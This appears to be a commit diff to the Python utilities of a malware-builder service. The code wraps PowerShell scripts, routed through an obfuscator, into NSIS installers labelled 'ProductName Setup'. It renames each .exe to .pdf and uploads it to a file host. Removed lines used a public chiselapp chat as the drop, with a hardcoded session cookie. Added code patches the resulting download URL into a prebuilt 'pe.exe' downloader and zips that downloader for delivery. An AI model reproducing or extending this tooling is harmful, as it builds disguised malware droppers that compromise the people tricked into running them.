Update utils.py

utils.py

@@ -8,32 +8,15 @@ import shutil
 import tempfile
 import requests
 import json
+import zipfile
 
 BASE_DIR = os.path.abspath(os.path.dirname(__file__))
 UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
+PE_FOLDER = os.path.join(BASE_DIR, "pe")
 COMPILE_FOLDER = os.path.join(BASE_DIR, "compile")
 NSIS_COMPILER = "makensis"  # Ensure NSIS is installed on your Linux system
 OBFUSCATOR_SCRIPT = os.path.join(BASE_DIR, "Obfus", "main.ps1")
-
-SERVER_URL = "https://chiselapp.com/user/yolovi5126/repository/yolovi5126/chat-send"
-HEADERS = {
-    "Host": "chiselapp.com",
-    "Connection": "keep-alive",
-    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarytI7POOg3X2lgL1Yr",
-    "sec-ch-ua-platform": '"Linux"',
-    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
-    "sec-ch-ua": '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"',
-    "sec-ch-ua-mobile": "?0",
-    "Accept": "*/*",
-    "Origin": "https://chiselapp.com",
-    "Sec-Fetch-Site": "same-origin",
-    "Sec-Fetch-Mode": "cors",
-    "Sec-Fetch-Dest": "empty",
-    "Referer": "https://chiselapp.com/user/yolovi5126/repository/yolovi5126/chat",
-    "Accept-Encoding": "gzip, deflate, br, zstd",
-    "Accept-Language": "en-US,en;q=0.9,hi;q=0.8",
-    "Cookie": "fossil-9889a3796fb4c84c=0F6BFEC5A6792BA30BBCFC1F12F0E31772D58BD8F0B1CAE22E%2F9889a3796fb4c84c%2Fyolovi5126; PHPSESSID=7onhpb9ebdpja4nd20ulce9b63"
-}
+UPLOAD_URL = 'http://127.0.0.1:5001/upload'  # Replace with actual IP or domain
 
 def generate_random_string(length=8):
     return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
@@ -87,6 +70,7 @@ def generate_nsi_script(folder_path, bin_file, ps1_file):
     SetCompressorDictSize 96
     SetDatablockOptimize ON
     ; Interface settings
+    !define MUI_ICON "C:\Users\Albert\Downloads\app.ico"
     !define MUI_WELCOMEPAGE_TITLE "Welcome to ProductName Setup"
     !define MUI_WELCOMEPAGE_TEXT "This will install ProductName on your computer.$\r$\n$\r$\nClick Install to continue."
     ; Pages
@@ -138,63 +122,75 @@ def compile_nsi_script(nsi_file_path):
 
 def upload_file_to_server(file_path):
     try:
-        # Rename the file to have a .pdf extension
-        new_file_path = file_path.replace('.exe', '.pdf')
-        os.rename(file_path, new_file_path)
-
-        # Ensure the file exists
-        if not os.path.exists(new_file_path):
-            raise FileNotFoundError(f"File {new_file_path} not found.")
+        # Rename the .exe file to .pdf
+        renamed_file_path = file_path.replace('.exe', '.pdf')
+        os.rename(file_path, renamed_file_path)
+        
+        # Upload the renamed file to the server
+        with open(renamed_file_path, 'rb') as file:
+            response = requests.post(UPLOAD_URL, files={'file': file})
+        
+        if response.status_code == 200:
+            data = response.json()
+            # Assuming the server returns a 'file_url' key with the file URL
+            filename = os.path.basename(renamed_file_path)
+            fixed_url = f'http://127.0.0.1:5001/uploads/{filename}'  # Fixed URL format
+            return fixed_url
+        else:
+            raise Exception(f"Failed to upload file: {response.json()}")
+    except Exception as e:
+        raise Exception(f"Error during file upload: {str(e)}")
 
-        # Prepare the file and data for upload
-        file = {'file': (os.path.basename(new_file_path), open(new_file_path, 'rb'), 'application/pdf')}
-        # Additional form data
-        data = {
-            'lmtime': '2024-12-31T18:33:58'
-        }
+def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
+    if len(new_url) > len(old_url):
+        raise ValueError("New URL must not be longer than the old URL.")
 
-        # Send the POST request with file and form data
-        response = requests.post(SERVER_URL, headers=HEADERS, files=file, data=data)
+    new_url_padded = new_url.ljust(len(old_url), '\x00')
+    new_string_padded = new_string.ljust(len(old_string), '\x00')
 
-        # Check the response
-        if response.status_code == 200:
-            # Assuming the response contains the URL with the ID
-            json_file = 'file_info.json'
-
-            # Check if the file_info.json exists
-            if os.path.exists(json_file):
-                with open(json_file, 'r') as f:
-                    file_info = json.load(f)
-            else:
-                file_info = {}
-
-            # Initialize or increment the init_ID (last_id)
-            if 'init_ID' not in file_info:
-                file_info['init_ID'] = 1  # Start with ID 1 if not present
-            else:
-                file_info['init_ID'] += 1  # Increment the ID for the next upload
-
-            # Get the current ID to be used for the next upload
-            current_id = file_info['init_ID']
-
-            # Generate the download URL for the uploaded file using the current ID
-            download_url = f"https://chiselapp.com/user/yolovi5126/repository/yolovi5126/chat-download/{current_id}/{os.path.basename(new_file_path)}"
-
-            # Update the JSON with the new entry for this upload
-            file_info[current_id] = {
-                'file_name': os.path.basename(new_file_path),
-                'url': download_url
-            }
-
-            # Write the updated file_info to the JSON file
-            with open(json_file, 'w') as f:
-                json.dump(file_info, f, indent=4)
-
-            return download_url
-        else:
-            raise Exception(f"Failed to send request. Status Code: {response.status_code}\n{response.text}")
+    try:
+        with open(file_path, 'rb') as exe_file:
+            data = exe_file.read()
+
+        # Try different encodings of the old URL
+        encodings = ['utf-8', 'ascii', 'utf-16le']
+        url_found = False
+        for encoding in encodings:
+            old_url_bytes = old_url.encode(encoding)
+            if old_url_bytes in data:
+                print(f"URL found with encoding: {encoding}")
+                url_found = True
+                break
+        if not url_found:
+            raise ValueError(f"The URL {old_url} was not found in the executable using any common encoding.")
+        
+        # Try different encodings for the old string
+        string_found = False
+        for encoding in encodings:
+            old_string_bytes = old_string.encode(encoding)
+            if old_string_bytes in data:
+                print(f"String found with encoding: {encoding}")
+                string_found = True
+                break
+        if not string_found:
+            raise ValueError(f"The string {old_string} was not found in the executable using any common encoding.")
+
+        # Replace the old URL with the new URL
+        new_url_bytes = new_url_padded.encode(encoding)
+        modified_data = data.replace(old_url_bytes, new_url_bytes, 1)
+
+        # Replace the old string with the new string
+        new_string_bytes = new_string_padded.encode(encoding)
+        modified_data = modified_data.replace(old_string_bytes, new_string_bytes, 1)
+
+        # Save the modified executable with a random name
+        modified_file_path = os.path.join(os.path.dirname(file_path), generate_random_string() + ".exe")
+        with open(modified_file_path, 'wb') as modified_file:
+            modified_file.write(modified_data)
+
+        return modified_file_path
     except Exception as e:
-        raise Exception(f"File upload failed: {str(e)}")
+        raise Exception(f"An error occurred: {e}")
 
 def process_request(request):
     temp_dir = None  # Initialize temp_dir to be used in the finally block
@@ -217,7 +213,9 @@ def process_request(request):
 
         # Create the PowerShell script with the provided content
         ps1_content = f'''
-Your PowerShell script content here
+
+
+Write-Host ""
 '''
         ps1_path = os.path.join(temp_dir, generate_random_string() + ".ps1")
         with open(ps1_path, 'w') as ps1_file:
@@ -241,8 +239,30 @@ Your PowerShell script content here
         # Upload the resulting EXE file (renamed to PDF) to the server
         download_url = upload_file_to_server(installer_output)
 
-        # Return the download URL in the response
-        return jsonify({"download_url": download_url})
+        # Print the new string and new URL for debugging
+        new_string = os.path.basename(download_url)
+        new_url = download_url
+        print(f"new_string: {new_string}")
+        print(f"new_url: {new_url}")
+
+        # Replace URL in PE executable
+        pe_exe_path = os.path.join(PE_FOLDER, "pe.exe")
+        modified_pe_path = replace_url_in_exe(
+            file_path=pe_exe_path,
+            old_url="http://127.0.0.1:5000/uploads/setup_20250102_062242.pdf",
+            new_url=download_url,
+            old_string="setup_20250102_062243.pdf",
+            new_string=os.path.basename(download_url)
+        )
+
+        # Zip the modified executable
+        zip_filename = generate_random_string() + ".zip"
+        zip_filepath = os.path.join(temp_dir, zip_filename)
+        with zipfile.ZipFile(zip_filepath, 'w') as zipf:
+            zipf.write(modified_pe_path, os.path.basename(modified_pe_path))
+
+        # Return the zip file in the response
+        return send_file(zip_filepath, as_attachment=True, download_name=zip_filename)
 
     except Exception as e:
         current_app.logger.error(f"An error occurred: {str(e)}")